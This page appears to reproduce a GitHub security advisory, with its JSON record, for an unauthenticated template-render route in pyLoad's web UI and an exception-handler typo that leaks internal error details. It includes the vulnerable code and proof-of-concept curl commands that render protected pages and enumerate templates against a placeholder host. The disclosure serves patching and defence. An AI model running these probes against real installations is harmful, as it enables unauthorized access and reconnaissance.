GHSA-J92P-C242-7HFX

Vulnerability from github – Published: 2026-10-09 16:40 – Updated: 2026-10-09 16:40
VLAI
Summary
pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo
Details

Summary

The /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.

Details

Bug 1 — Missing authentication on /web/<path:filename>

File: src/pyload/webui/app/blueprints/app_blueprint.py, lines 32–36

@bp.route("/web/<path:filename>", endpoint="web")
def render(filename):                          # ← no @login_required
    mimetype = mimetypes.guess_type(filename)[0] or "text/html"
    data = render_template(filename)
    return flask.Response(data, mimetype=mimetype)

Every other sensitive route in the same file is protected:

@bp.route("/logs", ...)
@login_required("LIST")       # protected

@bp.route("/settings", ...)
@login_required("SETTINGS")  # protected

@bp.route("/files", ...)
@login_required("DOWNLOAD")  # protected

The /web/<path:filename> route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.

Bug 2 — Exception attribute typo causes internal details in error responses

File: src/pyload/webui/app/handlers.py, lines 12–20

def handle_exception_error(exc):
    try:
        code = exc.code
        desc = exc.desc          # BUG: attribute does not exist on standard exceptions
    except AttributeError:       # always raised — falls here for every exception
        code = 500
        desc = exc               # raw exception object assigned to desc
    message = f"Error {code}: {desc}"   # str(exc) embedded in response body
    return render_template("error.html", messages=[message]), code

exc.desc does not exist on standard Python or Jinja2 exceptions. The AttributeError branch is always taken for template rendering failures. desc is set to the raw exception object, and str(exc) is embedded in the HTML response body returned to the unauthenticated caller. For a UndefinedError this produces 'conf' is undefined. For TemplateNotFound it produces the template filename.

PoC

Tested against pyload-ng develop branch (0.5.0b3.dev), default install, no authentication cookies or credentials used in any request.

Test 1 — Unauthenticated page render confirmed (HTTP 200)

curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"

Test 2 — System info page with sensitive field labels rendered unauthenticated ```curl -s http://TARGET:8000/web/info.html | grep "Python Version|Installation Folder|Config Folder|OS Platform" html

Python Version: OS Platform: Installation Folder: Config Folder:

```

Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated) ```curl -si http://TARGET:8000/web/settings.html | grep "HTTP|Error" HTTP/1.1 500 INTERNAL SERVER ERROR

Error 500: 'conf' is undefined

Test 4 — Template enumeration via response code differentiationcurl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/logs.html curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/collector.html curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/filemanager.html curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/nonexistent_xyz.html 200 ← logs.html (exists, renders without auth) 200 ← info.html (exists, renders without auth) 200 ← dashboard.html (exists, renders without auth) 500 ← settings.html (exists, missing auth context — leaks 'conf' is undefined) 500 ← queue.html (exists, missing auth context) 500 ← collector.html (exists, missing auth context) 500 ← filemanager.html (exists, missing auth context) 500 ← nonexistent_xyz (does not exist — same 500, no differentiation on miss)```

Impact

An unauthenticated remote attacker can:

Render application page templates without any credentials, bypassing the access control model enforced on all direct routes Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.) Enumerate all valid template filenames by observing 200 vs 500 response codes

The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/ endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev100"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev101"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T16:40:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `/web/\u003cpath:filename\u003e` route in `src/pyload/webui/app/blueprints/app_blueprint.py` renders Jinja2 templates without any authentication requirement. Every equivalent direct route (`/logs`, `/settings`, `/queue`, `/dashboard`, etc.) is protected by `@login_required`, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in `src/pyload/webui/app/handlers.py` (`exc.desc` instead of `exc.description`), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.\n\n### Details\n\n**Bug 1 \u2014 Missing authentication on `/web/\u003cpath:filename\u003e`**\n\nFile: `src/pyload/webui/app/blueprints/app_blueprint.py`, lines 32\u201336\n\n```python\n@bp.route(\"/web/\u003cpath:filename\u003e\", endpoint=\"web\")\ndef render(filename):                          # \u2190 no @login_required\n    mimetype = mimetypes.guess_type(filename)[0] or \"text/html\"\n    data = render_template(filename)\n    return flask.Response(data, mimetype=mimetype)\n```\n\nEvery other sensitive route in the same file is protected:\n\n```python\n@bp.route(\"/logs\", ...)\n@login_required(\"LIST\")       # protected\n\n@bp.route(\"/settings\", ...)\n@login_required(\"SETTINGS\")  # protected\n\n@bp.route(\"/files\", ...)\n@login_required(\"DOWNLOAD\")  # protected\n```\n\nThe `/web/\u003cpath:filename\u003e` route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.\n\n**Bug 2 \u2014 Exception attribute typo causes internal details in error responses**\n\nFile: `src/pyload/webui/app/handlers.py`, lines 12\u201320\n\n```python\ndef handle_exception_error(exc):\n    try:\n        code = exc.code\n        desc = exc.desc          # BUG: attribute does not exist on standard exceptions\n    except AttributeError:       # always raised \u2014 falls here for every exception\n        code = 500\n        desc = exc               # raw exception object assigned to desc\n    message = f\"Error {code}: {desc}\"   # str(exc) embedded in response body\n    return render_template(\"error.html\", messages=[message]), code\n```\n\n`exc.desc` does not exist on standard Python or Jinja2 exceptions. The `AttributeError` branch is always taken for template rendering failures. `desc` is set to the raw exception object, and `str(exc)` is embedded in the HTML response body returned to the unauthenticated caller. For a `UndefinedError` this produces `\u0027conf\u0027 is undefined`. For `TemplateNotFound` it produces the template filename.\n\n### PoC\n\nTested against pyload-ng develop branch (`0.5.0b3.dev`), default install, no authentication cookies or credentials used in any request.\n\n**Test 1 \u2014 Unauthenticated page render confirmed (HTTP 200)**\n```bash\ncurl -si http://TARGET:8000/web/logs.html | grep \"HTTP\\|title\"\n\n```\n\nTest 2 \u2014 System info page with sensitive field labels rendered unauthenticated\n```curl -s http://TARGET:8000/web/info.html | grep \"Python Version\\|Installation Folder\\|Config Folder\\|OS Platform\"\nhtml\n\n\u003cdt\u003e\u003cb\u003ePython Version:\u003c/b\u003e\u003c/dt\u003e\n\u003cdt\u003e\u003cb\u003eOS Platform:\u003c/b\u003e\u003c/dt\u003e\n\u003cdt\u003e\u003cb\u003eInstallation Folder:\u003c/b\u003e\u003c/dt\u003e\n\u003cdt\u003e\u003cb\u003eConfig Folder:\u003c/b\u003e\u003c/dt\u003e```\n\nTest 3 \u2014 Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)\n```curl -si http://TARGET:8000/web/settings.html | grep \"HTTP\\|Error\"\nHTTP/1.1 500 INTERNAL SERVER ERROR\n\u003cp\u003e\u003cb\u003eError 500: \u0027conf\u0027 is undefined\u003c/b\u003e\u003c/p\u003e```\nTest 4 \u2014 Template enumeration via response code differentiation\n```curl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/logs.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/info.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/dashboard.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/settings.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/queue.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/collector.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/filemanager.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/nonexistent_xyz.html\n200  \u2190 logs.html        (exists, renders without auth)\n200  \u2190 info.html        (exists, renders without auth)\n200  \u2190 dashboard.html   (exists, renders without auth)\n500  \u2190 settings.html    (exists, missing auth context \u2014 leaks \u0027conf\u0027 is undefined)\n500  \u2190 queue.html       (exists, missing auth context)\n500  \u2190 collector.html   (exists, missing auth context)\n500  \u2190 filemanager.html (exists, missing auth context)\n500  \u2190 nonexistent_xyz  (does not exist \u2014 same 500, no differentiation on miss)```\n\n###Impact\nAn unauthenticated remote attacker can:\n\nRender application page templates without any credentials, bypassing the access control model enforced on all direct routes\nAccess the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port \u2014 values are populated via JS but field labels confirm application structure\nAccess the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication\nExtract internal Jinja2 template variable names from HTTP 500 response bodies (\u0027conf\u0027 is undefined, etc.)\nEnumerate all valid template filenames by observing 200 vs 500 response codes\n\nThe access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/\u003cpath:filename\u003e endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.",
  "id": "GHSA-j92p-c242-7hfx",
  "modified": "2026-10-09T16:40:30Z",
  "published": "2026-10-09T16:40:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-j92p-c242-7hfx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/e80c940cd604e60d93e3164429d4fc4aac54468d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: Unauthenticated access to /web/\u003cpath:filename\u003e bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…